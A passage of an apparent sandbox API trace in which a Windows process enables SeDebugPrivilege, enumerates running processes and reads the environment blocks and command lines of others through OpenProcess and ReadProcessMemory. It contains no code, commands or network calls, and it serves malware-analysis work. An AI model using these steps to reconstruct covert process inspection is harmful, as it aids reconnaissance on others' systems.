0x7ffb202557e0 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0260.934] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0260.935] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0260.935] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0260.935] malloc (_Size=0x18) returned 0x20abc281ea0 [0260.935] GetCurrentThread () returned 0xfffffffffffffffe [0260.935] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc22fd320 | out: TokenHandle=0x2dc22fd320*=0x16c) returned 1 [0260.936] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc22fd35c | out: lpLuid=0x2dc22fd35c*(LowPart=0x14, HighPart=0)) returned 1 [0260.938] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0260.938] AdjustTokenPrivileges (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x2dc22fd358*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0260.938] GetLastError () returned 0x0 [0260.938] CloseHandle (hObject=0x16c) returned 1 [0260.938] malloc (_Size=0x8000) returned 0x20abc286d60 [0260.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0260.942] free (_Block=0x20abc286d60) [0260.943] malloc (_Size=0x10000) returned 0x20abc286d60 [0260.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0260.947] free (_Block=0x20abc286d60) [0260.947] malloc (_Size=0x18000) returned 0x20abc286d60 [0260.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0260.953] free (_Block=0x20abc286d60) [0260.953] malloc (_Size=0x20000) returned 0x20abc286d60 [0260.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0260.957] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0260.963] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="0") returned 1 [0260.964] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.964] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0260.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0260.979] CloseHandle (hObject=0x0) returned 0 [0260.980] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0260.983] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4") returned 1 [0260.984] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.984] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0260.997] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0260.997] CloseHandle (hObject=0x0) returned 0 [0260.998] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0261.003] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="312") returned 3 [0261.004] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.004] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0261.025] CloseHandle (hObject=0x0) returned 0 [0261.025] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0261.029] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="384") returned 3 [0261.030] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.030] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0261.043] CloseHandle (hObject=0x0) returned 0 [0261.044] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0261.047] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="444") returned 3 [0261.048] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.048] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0261.061] CloseHandle (hObject=0x0) returned 0 [0261.062] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0261.067] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="456") returned 3 [0261.068] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.068] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.082] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0261.082] CloseHandle (hObject=0x0) returned 0 [0261.082] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0261.086] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="508") returned 3 [0261.087] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.087] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.102] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x16c [0261.102] GetLastError () returned 0x0 [0261.103] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.104] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc22fc240, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.105] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.107] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.107] malloc (_Size=0x1c) returned 0x20abc2aa0c0 [0261.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2aa0c0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.108] free (_Block=0x20abc2aa0c0) [0261.108] CloseHandle (hObject=0x16c) returned 1 [0261.109] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0261.130] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="532") returned 3 [0261.132] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.132] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.148] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0261.148] CloseHandle (hObject=0x0) returned 0 [0261.149] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0261.153] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="540") returned 3 [0261.154] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.155] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.195] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x16c [0261.195] GetLastError () returned 0x0 [0261.195] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.195] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.196] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.196] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.196] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc22fc240, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.197] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.199] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.199] malloc (_Size=0x3e) returned 0x20abc27cf80 [0261.199] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cf80, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0261.200] free (_Block=0x20abc27cf80) [0261.201] CloseHandle (hObject=0x16c) returned 1 [0261.202] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0261.207] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="628") returned 3 [0261.208] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.208] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x16c [0261.257] GetLastError () returned 0x0 [0261.258] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.258] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.258] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.258] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.258] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.259] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.261] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.261] malloc (_Size=0x5e) returned 0x20abc280840 [0261.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc280840, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0261.262] free (_Block=0x20abc280840) [0261.263] CloseHandle (hObject=0x16c) returned 1 [0261.264] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0261.268] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="660") returned 3 [0261.270] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.270] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.287] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x16c [0261.287] GetLastError () returned 0x0 [0261.288] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.289] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.289] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.289] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.289] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.291] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.292] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.292] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.292] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.293] malloc (_Size=0x54) returned 0x20abc2aa6f0 [0261.293] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2aa6f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa6f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.293] free (_Block=0x20abc2aa6f0) [0261.294] CloseHandle (hObject=0x16c) returned 1 [0261.294] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0261.300] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="772") returned 3 [0261.301] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.301] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.326] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x16c [0261.326] GetLastError () returned 0x0 [0261.327] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.327] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.327] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.327] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.327] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc22fc240, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.330] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.332] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 